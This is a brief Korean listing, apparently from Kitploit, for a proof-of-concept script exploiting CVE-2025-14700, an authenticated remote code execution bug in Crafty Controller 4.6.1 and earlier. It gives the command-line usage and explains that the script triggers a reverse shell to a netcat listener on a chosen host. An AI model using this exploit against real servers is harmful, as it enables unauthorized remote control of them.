CVE-2025-14700-poc — Crafty Controller <= 4.6.1에서 인증된 RCE(원격 코드 실행)에 대한 개념 증명 | Kitploit

CVE-2025-14700 POC

Crafty Controller <= 4.6.1에서 인증된 RCE에 대한 자동 익스플로잇

사용법 :

./CVE-2025-14700.py --url <crafty_controller_host> --login <username> --password <password> --lhost <listener_host> --lport <listener_port>

이 스크립트는 리버스 셸 페이로드를 트리거한 후 netcat을 사용하여 리스너를 설정합니다. 리스너 머신에 netcat이 없으면 작동하지 않습니다.